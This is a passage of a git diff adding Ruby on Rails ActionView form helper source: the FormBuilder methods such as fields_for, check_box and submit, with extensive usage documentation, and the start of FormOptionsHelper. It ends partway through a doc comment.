+        convert_to_legacy_options(@options)
+
+        if @object_name.to_s.match(/\[\]$/)
+          if (object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}")) && object.respond_to?(:to_param)
+            @auto_index = object.to_param
+          else
+            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+          end
+        end
+
+        @multipart = nil
+        @index = options[:index] || options[:child_index]
+      end
+
+      (field_helpers - [:label, :check_box, :radio_button, :fields_for, :fields, :hidden_field, :file_field]).each do |selector|
+        class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+          def #{selector}(method, options = {})  # def text_field(method, options = {})
+            @template.send(                      #   @template.send(
+              #{selector.inspect},               #     "text_field",
+              @object_name,                      #     @object_name,
+              method,                            #     method,
+              objectify_options(options))        #     objectify_options(options))
+          end                                    # end
+        RUBY_EVAL
+      end
+
+      # Creates a scope around a specific model object like form_for, but
+      # doesn't create the form tags themselves. This makes fields_for suitable
+      # for specifying additional model objects in the same form.
+      #
+      # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
+      # its method signature is slightly different. Like +form_for+, it yields
+      # a FormBuilder object associated with a particular model object to a block,
+      # and within the block allows methods to be called on the builder to
+      # generate fields associated with the model object. Fields may reflect
+      # a model object in two ways - how they are named (hence how submitted
+      # values appear within the +params+ hash in the controller) and what
+      # default values are shown when the form the fields appear in is first
+      # displayed. In order for both of these features to be specified independently,
+      # both an object name (represented by either a symbol or string) and the
+      # object itself can be passed to the method separately -
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     First name: <%= person_form.text_field :first_name %>
+      #     Last name : <%= person_form.text_field :last_name %>
+      #
+      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
+      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #     <% end %>
+      #
+      #     <%= person_form.submit %>
+      #   <% end %>
+      #
+      # In this case, the checkbox field will be represented by an HTML +input+
+      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+      # If <tt>@person.permission</tt> is an existing record with an attribute
+      # +admin+, the initial state of the checkbox when first displayed will
+      # reflect the value of <tt>@person.permission.admin</tt>.
+      #
+      # Often this can be simplified by passing just the name of the model
+      # object to +fields_for+ -
+      #
+      #   <%= fields_for :permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+      # instance variable <tt>@permission</tt>, the initial state of the input
+      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+      #
+      # Alternatively, you can pass just the model object itself (if the first
+      # argument isn't a string or symbol +fields_for+ will realize that the
+      # name has been omitted) -
+      #
+      #   <%= fields_for @person.permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # and +fields_for+ will derive the required name of the field from the
+      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+      #
+      # Note: This also works for the methods in FormOptionsHelper and
+      # DateHelper that are designed to work with an object as base, like
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === Nested Attributes Examples
+      #
+      # When the object belonging to the current scope has a nested attribute
+      # writer for a certain attribute, fields_for will yield a new scope
+      # for that attribute. This allows you to create forms that set or change
+      # the attributes of a parent object and its associations in one go.
+      #
+      # Nested attribute writers are normal setter methods named after an
+      # association. The most common way of defining these writers is either
+      # with +accepts_nested_attributes_for+ in a model definition or by
+      # defining a method with the proper name. For example: the attribute
+      # writer for the association <tt>:address</tt> is called
+      # <tt>address_attributes=</tt>.
+      #
+      # Whether a one-to-one or one-to-many style form builder will be yielded
+      # depends on whether the normal reader method returns a _single_ object
+      # or an _array_ of objects.
+      #
+      # ==== One-to-one
+      #
+      # Consider a Person class which returns a _single_ Address from the
+      # <tt>address</tt> reader method and responds to the
+      # <tt>address_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def address
+      #       @address
+      #     end
+      #
+      #     def address_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # This model can now be used with a nested fields_for, like so:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       Street  : <%= address_fields.text_field :street %>
+      #       Zip code: <%= address_fields.text_field :zip_code %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When address is already an association on a Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address
+      #   end
+      #
+      # If you want to destroy the associated model through the form, you have
+      # to enable it first using the <tt>:allow_destroy</tt> option for
+      # +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address, allow_destroy: true
+      #   end
+      #
+      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+      # with a value that evaluates to +true+, you will destroy the associated
+      # model (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       ...
+      #       Delete: <%= address_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # ==== One-to-many
+      #
+      # Consider a Person class which returns an _array_ of Project instances
+      # from the <tt>projects</tt> reader method and responds to the
+      # <tt>projects_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def projects
+      #       [@project1, @project2]
+      #     end
+      #
+      #     def projects_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # Note that the <tt>projects_attributes=</tt> writer method is in fact
+      # required for fields_for to correctly identify <tt>:projects</tt> as a
+      # collection, and the correct indices to be set in the form markup.
+      #
+      # When projects is already an association on Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects
+      #   end
+      #
+      # This model can now be used with a nested fields_for. The block given to
+      # the nested fields_for call will be repeated for each instance in the
+      # collection:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       <% if project_fields.object.active? %>
+      #         Name: <%= project_fields.text_field :name %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # It's also possible to specify the instance to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <% @person.projects.each do |project| %>
+      #       <% if project.active? %>
+      #         <%= person_form.fields_for :projects, project do |project_fields| %>
+      #           Name: <%= project_fields.text_field :name %>
+      #         <% end %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Or a collection to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+      #       Name: <%= project_fields.text_field :name %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # If you want to destroy any of the associated models through the
+      # form, you have to enable it first using the <tt>:allow_destroy</tt>
+      # option for +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects, allow_destroy: true
+      #   end
+      #
+      # This will allow you to specify which models to destroy in the
+      # attributes hash by adding a form element for the <tt>_destroy</tt>
+      # parameter with a value that evaluates to +true+
+      # (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Delete: <%= project_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When a collection is used you might want to know the index of each
+      # object into the array. For this purpose, the <tt>index</tt> method
+      # is available in the FormBuilder object.
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Project #<%= project_fields.index %>
+      #       ...
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Note that fields_for will automatically generate a hidden field
+      # to store the ID of the record. There are circumstances where this
+      # hidden field is not needed and you can pass <tt>include_id: false</tt>
+      # to prevent fields_for from rendering it automatically.
+      def fields_for(record_name, record_object = nil, fields_options = {}, &block)
+        fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
+        fields_options[:builder] ||= options[:builder]
+        fields_options[:namespace] = options[:namespace]
+        fields_options[:parent_builder] = self
+
+        case record_name
+        when String, Symbol
+          if nested_attributes_association?(record_name)
+            return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
+          end
+        else
+          record_object = record_name.is_a?(Array) ? record_name.last : record_name
+          record_name   = model_name_from_record_or_class(record_object).param_key
+        end
+
+        object_name = @object_name
+        index = if options.has_key?(:index)
+          options[:index]
+        elsif defined?(@auto_index)
+          object_name = object_name.to_s.sub(/\[\]$/, "")
+          @auto_index
+        end
+
+        record_name = if index
+          "#{object_name}[#{index}][#{record_name}]"
+        elsif record_name.to_s.end_with?("[]")
+          record_name = record_name.to_s.sub(/(.*)\[\]$/, "[\\1][#{record_object.id}]")
+          "#{object_name}#{record_name}"
+        else
+          "#{object_name}[#{record_name}]"
+        end
+        fields_options[:child_index] = index
+
+        @template.fields_for(record_name, record_object, fields_options, &block)
+      end
+
+      # See the docs for the <tt>ActionView::FormHelper.fields</tt> helper method.
+      def fields(scope = nil, model: nil, **options, &block)
+        options[:allow_method_names_outside_object] = true
+        options[:skip_default_ids] = true
+
+        convert_to_legacy_options(options)
+
+        fields_for(scope || model, model, **options, &block)
+      end
+
+      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+      # target labels for radio_button tags (where the value is used in the ID of the input tag).
+      #
+      # ==== Examples
+      #   label(:title)
+      #   # => <label for="post_title">Title</label>
+      #
+      # You can localize your labels based on model and attribute names.
+      # For example you can define the following in your locale (e.g. en.yml)
+      #
+      #   helpers:
+      #     label:
+      #       post:
+      #         body: "Write your entire text here"
+      #
+      # Which then will result in
+      #
+      #   label(:body)
+      #   # => <label for="post_body">Write your entire text here</label>
+      #
+      # Localization can also be based purely on the translation of the attribute-name
+      # (if you are using ActiveRecord):
+      #
+      #   activerecord:
+      #     attributes:
+      #       post:
+      #         cost: "Total cost"
+      #
+      #   label(:cost)
+      #   # => <label for="post_cost">Total cost</label>
+      #
+      #   label(:title, "A short title")
+      #   # => <label for="post_title">A short title</label>
+      #
+      #   label(:title, "A short title", class: "title_label")
+      #   # => <label for="post_title" class="title_label">A short title</label>
+      #
+      #   label(:privacy, "Public Post", value: "public")
+      #   # => <label for="post_privacy_public">Public Post</label>
+      #
+      #   label(:terms) do
+      #     raw('Accept <a href="/terms">Terms</a>.')
+      #   end
+      #   # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
+      def label(method, text = nil, options = {}, &block)
+        @template.label(@object_name, method, text, objectify_options(options), &block)
+      end
+
+      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says unchecked check boxes are not successful, and
+      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @invoice.update(params[:invoice])
+      #
+      # wouldn't update the flag.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # the very check box. The hidden field has the same name and its
+      # attributes mimic an unchecked check box.
+      #
+      # This way, the client either sends only the hidden field (representing
+      # the check box is unchecked), or both fields. Since the HTML specification
+      # says key/value pairs have to be sent in the same order they appear in the
+      # form, and parameters extraction gets the last occurrence of any repeated
+      # key in the query string, that works for ordinary forms.
+      #
+      # Unfortunately that workaround does not work when the check box goes
+      # within an array-like parameter, as in
+      #
+      #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+      #     <%= form.check_box :paid %>
+      #     ...
+      #   <% end %>
+      #
+      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # the elements of the array. For each item with a checked check box you
+      # get an extra ghost item with only that attribute, assigned to "0".
+      #
+      # In that case it is preferable to either use +check_box_tag+ or to use
+      # hashes instead of arrays.
+      #
+      #   # Let's say that @post.validated? is 1:
+      #   check_box("validated")
+      #   # => <input name="post[validated]" type="hidden" value="0" />
+      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      #
+      #   # Let's say that @puppy.gooddog is "no":
+      #   check_box("gooddog", {}, "yes", "no")
+      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
+      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+      #
+      #   # Let's say that @eula.accepted is "no":
+      #   check_box("accepted", { class: 'eula_check' }, "yes", "no")
+      #   # => <input name="eula[accepted]" type="hidden" value="no" />
+      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
+        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+      end
+
+      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+      # radio button will be checked.
+      #
+      # To force the radio button to be checked pass <tt>checked: true</tt> in the
+      # +options+ hash. You may pass HTML options there as well.
+      #
+      #   # Let's say that @post.category returns "rails":
+      #   radio_button("category", "rails")
+      #   radio_button("category", "java")
+      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #
+      #   # Let's say that @user.receive_newsletter returns "no":
+      #   radio_button("receive_newsletter", "yes")
+      #   radio_button("receive_newsletter", "no")
+      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+      def radio_button(method, tag_value, options = {})
+        @template.radio_button(@object_name, method, tag_value, objectify_options(options))
+      end
+
+      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   # Let's say that @signup.pass_confirm returns true:
+      #   hidden_field(:pass_confirm)
+      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="true" />
+      #
+      #   # Let's say that @post.tag_list returns "blog, ruby":
+      #   hidden_field(:tag_list)
+      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="blog, ruby" />
+      #
+      #   # Let's say that @user.token returns "abcde":
+      #   hidden_field(:token)
+      #   # => <input type="hidden" id="user_token" name="user[token]" value="abcde" />
+      #
+      def hidden_field(method, options = {})
+        @emitted_hidden_id = true if method == :id
+        @template.hidden_field(@object_name, method, objectify_options(options))
+      end
+
+      # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+      #
+      # ==== Examples
+      #   # Let's say that @user has avatar:
+      #   file_field(:avatar)
+      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
+      #
+      #   # Let's say that @post has image:
+      #   file_field(:image, :multiple => true)
+      #   # => <input type="file" id="post_image" name="post[image][]" multiple="multiple" />
+      #
+      #   # Let's say that @post has attached:
+      #   file_field(:attached, accept: 'text/html')
+      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+      #
+      #   # Let's say that @post has image:
+      #   file_field(:image, accept: 'image/png,image/gif,image/jpeg')
+      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+      #
+      #   # Let's say that @attachment has file:
+      #   file_field(:file, class: 'file_input')
+      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+      def file_field(method, options = {})
+        self.multipart = true
+        @template.file_field(@object_name, method, objectify_options(options))
+      end
+
+      # Add the submit button for the given form. When no value is given, it checks
+      # if the object is a new resource or not to create the proper label:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # In the example above, if @post is a new record, it will use "Create Post" as
+      # submit button label, otherwise, it uses "Update Post".
+      #
+      # Those labels can be customized using I18n, under the helpers.submit key and accept
+      # the %{model} as translation interpolation:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         create: "Create a %{model}"
+      #         update: "Confirm changes to %{model}"
+      #
+      # It also searches for a key specific for the given object:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         post:
+      #           create: "Add %{model}"
+      #
+      def submit(value = nil, options = {})
+        value, options = nil, value if value.is_a?(Hash)
+        value ||= submit_default_value
+        @template.submit_tag(value, options)
+      end
+
+      # Add the submit button for the given form. When no value is given, it checks
+      # if the object is a new resource or not to create the proper label:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.button %>
+      #   <% end %>
+      #
+      # In the example above, if @post is a new record, it will use "Create Post" as
+      # button label, otherwise, it uses "Update Post".
+      #
+      # Those labels can be customized using I18n, under the helpers.submit key
+      # (the same as submit helper) and accept the %{model} as translation interpolation:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         create: "Create a %{model}"
+      #         update: "Confirm changes to %{model}"
+      #
+      # It also searches for a key specific for the given object:
+      #
+      #   en:
+      #     helpers:
+      #       submit:
+      #         post:
+      #           create: "Add %{model}"
+      #
+      # ==== Examples
+      #   button("Create post")
+      #   # => <button name='button' type='submit'>Create post</button>
+      #
+      #   button do
+      #     content_tag(:strong, 'Ask me!')
+      #   end
+      #   # => <button name='button' type='submit'>
+      #   #      <strong>Ask me!</strong>
+      #   #    </button>
+      #
+      def button(value = nil, options = {}, &block)
+        value, options = nil, value if value.is_a?(Hash)
+        value ||= submit_default_value
+        @template.button_tag(value, options, &block)
+      end
+
+      def emitted_hidden_id?
+        @emitted_hidden_id ||= nil
+      end
+
+      private
+        def objectify_options(options)
+          @default_options.merge(options.merge(object: @object))
+        end
+
+        def submit_default_value
+          object = convert_to_model(@object)
+          key    = object ? (object.persisted? ? :update : :create) : :submit
+
+          model = if object.respond_to?(:model_name)
+            object.model_name.human
+          else
+            @object_name.to_s.humanize
+          end
+
+          defaults = []
+          defaults << :"helpers.submit.#{object_name}.#{key}"
+          defaults << :"helpers.submit.#{key}"
+          defaults << "#{key.to_s.humanize} #{model}"
+
+          I18n.t(defaults.shift, model: model, default: defaults)
+        end
+
+        def nested_attributes_association?(association_name)
+          @object.respond_to?("#{association_name}_attributes=")
+        end
+
+        def fields_for_with_nested_attributes(association_name, association, options, block)
+          name = "#{object_name}[#{association_name}_attributes]"
+          association = convert_to_model(association)
+
+          if association.respond_to?(:persisted?)
+            association = [association] if @object.send(association_name).respond_to?(:to_ary)
+          elsif !association.respond_to?(:to_ary)
+            association = @object.send(association_name)
+          end
+
+          if association.respond_to?(:to_ary)
+            explicit_child_index = options[:child_index]
+            output = ActiveSupport::SafeBuffer.new
+            association.each do |child|
+              if explicit_child_index
+                options[:child_index] = explicit_child_index.call if explicit_child_index.respond_to?(:call)
+              else
+                options[:child_index] = nested_child_index(name)
+              end
+              output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
+            end
+            output
+          elsif association
+            fields_for_nested_model(name, association, options, block)
+          end
+        end
+
+        def fields_for_nested_model(name, object, fields_options, block)
+          object = convert_to_model(object)
+          emit_hidden_id = object.persisted? && fields_options.fetch(:include_id) {
+            options.fetch(:include_id, true)
+          }
+
+          @template.fields_for(name, object, fields_options) do |f|
+            output = @template.capture(f, &block)
+            output.concat f.hidden_field(:id) if output && emit_hidden_id && !f.emitted_hidden_id?
+            output
+          end
+        end
+
+        def nested_child_index(name)
+          @nested_child_index[name] ||= -1
+          @nested_child_index[name] += 1
+        end
+
+        def convert_to_legacy_options(options)
+          if options.key?(:skip_id)
+            options[:include_id] = !options.delete(:skip_id)
+          end
+        end
+    end
+  end
+
+  ActiveSupport.on_load(:action_view) do
+    cattr_accessor :default_form_builder, instance_writer: false, instance_reader: false, default: ::ActionView::Helpers::FormBuilder
+  end
+end
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
new file mode 100644
index 0000000000..0f1a452652
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -0,0 +1,883 @@
+# frozen_string_literal: true
+
+require "cgi"
+require "erb"
+require_relative "form_helper"
+require "active_support/core_ext/string/output_safety"
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/array/wrap"
+
+module ActionView
+  # = Action View Form Option Helpers
+  module Helpers
+    # Provides a number of methods for turning different kinds of containers into a set of option tags.
+    #
+    # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
+    #
+    # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
+    #
+    #     select("post", "category", Post::CATEGORIES, {include_blank: true})
+    #
+    #   could become:
+    #
+    #     <select name="post[category]" id="post_category">
+    #       <option value=""></option>
+    #       <option value="joke">joke</option>
+    #       <option value="poem">poem</option>
+    #     </select>
+    #
+    #   Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
+    #
+    #   Example with <tt>@post.person_id => 2</tt>:
+    #
+    #     select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+    #
+    #   could become:
+    #
+    #     <select name="post[person_id]" id="post_person_id">
+    #       <option value="">None</option>
+    #       <option value="1">David</option>
+    #       <option value="2" selected="selected">Eileen</option>
+    #       <option value="3">Rafael</option>
+    #     </select>
+    #
+    # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
+    #
+    #     select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+    #
+    #   could become:
+    #
+    #     <select name="post[person_id]" id="post_person_id">
+    #       <option value="">Select Person</option>
+    #       <option value="1">David</option>
+    #       <option value="2">Eileen</option>
+    #       <option value="3">Rafael</option>
+    #     </select>
+    #
+    # * <tt>:index</tt> - like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+    #   option to be in the +html_options+ parameter.
+    #
+    #     select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+    #
+    #   becomes:
+    #
+    #     <select name="album[][genre]" id="album__genre">
+    #       <option value="rap">rap</option>
+    #       <option value="rock">rock</option>
+    #       <option value="country">country</option>
+    #     </select>
+    #
+    # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+    #
+    #     select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+    #
+    #   could become:
+    #
+    #     <select name="post[category]" id="post_category">
+    #       <option value=""></option>
+    #       <option value="joke">joke</option>
+    #       <option value="poem">poem</option>
+    #       <option disabled="disabled" value="restricted">restricted</option>
+    #     </select>
+    #
+    #   When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+    #
+    #     collection_select(:post, :category_id, Category.all, :id, :name, {disabled: -> (category) { category.archived? }})
+    #
+    #   If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+    #     <select name="post[category_id]" id="post_category_id">
+    #       <option value="1" disabled="disabled">2008 stuff</option>
+    #       <option value="2" disabled="disabled">Christmas</option>
+    #       <option value="3">Jokes</option>
+    #       <option value="4">Poems</option>
+    #     </select>
+    #
+    module FormOptionsHelper
+      # ERB::Util can mask some helpers like textilize. Make sure to include them.
+      include TextHelper
+
+      # Create a select tag and a series of contained option tags for the provided object and method.
+      # The option currently held by the object will be selected, provided that the object is available.
+      #
+      # There are two possible formats for the +choices+ parameter, corresponding to other helpers' output:
+      #
+      # * A flat collection (see +options_for_select+).
+      #
+      # * A nested collection (see +grouped_options_for_select+).
+      #
+      # For example:
+      #
+      #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
+      #
+      # would become:
+      #
+      #   <select name="post[person_id]" id="post_person_id">
+      #     <option value=""></option>
+      #     <option value="1" selected="selected">David</option>
+      #     <option value="2">Eileen</option>
+      #     <option value="3">Rafael</option>
+      #   </select>
+      #
+      # assuming the associated person has ID 1.
+      #
+      # This can be used to provide a default set of options in the standard way: before rendering the create form, a
+      # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
+      # to the database. Instead, a second model object is created when the create request is received.
+      # This allows the user to submit a form page more than once with the expected results of creating multiple records.
+      # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
+      #
+      # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
+      # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+      # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
+      #
+      # A block can be passed to +select+ to customize how the options tags will be rendered. This
+      # is useful when the options tag has complex attributes.
+      #
+      #   select(report, "campaign_ids") do
+      #     available_campaigns.each do |c|
+      #       content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json })
+      #     end
+      #   end
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
+      # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
+      # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
+      # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @user.update(params[:user])
+      #
+      # wouldn't update roles.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # every multiple select. The hidden field has the same name as multiple select and blank value.
+      #
+      # <b>Note:</b> The client either sends only the hidden field (representing
+      # the deselected multiple select box), or both fields. This means that the resulting array
+      # always contains a blank string.
+      #
+      # In case if you don't want the helper to generate this hidden field you can specify
+      # <tt>include_hidden: false</tt> option.
+      #
+      def select(object, method, choices = nil, options = {}, html_options = {}, &block)
+        Tags::Select.new(object, method, self, choices, options, html_options, &block).render
+      end
+
+      # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+      # or <tt>:include_blank</tt> in the +options+ hash.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
+      # of +collection+. The return values are used as the +value+ attribute and contents of each
+      # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #   end
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #
+      #   collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
+      #
+      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+      #   <select name="post[author_id]" id="post_author_id">
+      #     <option value="">Please select</option>
+      #     <option value="1" selected="selected">D. Heinemeier Hansson</option>
+      #     <option value="2">D. Thomas</option>
+      #     <option value="3">M. Clark</option>
+      #   </select>
+      def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
+        Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
+      end
+
+      # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
+      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+      # or <tt>:include_blank</tt> in the +options+ hash.
+      #
+      # Parameters:
+      # * +object+ - The instance of the class to be used for the select tag
+      # * +method+ - The attribute of +object+ corresponding to the select tag
+      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
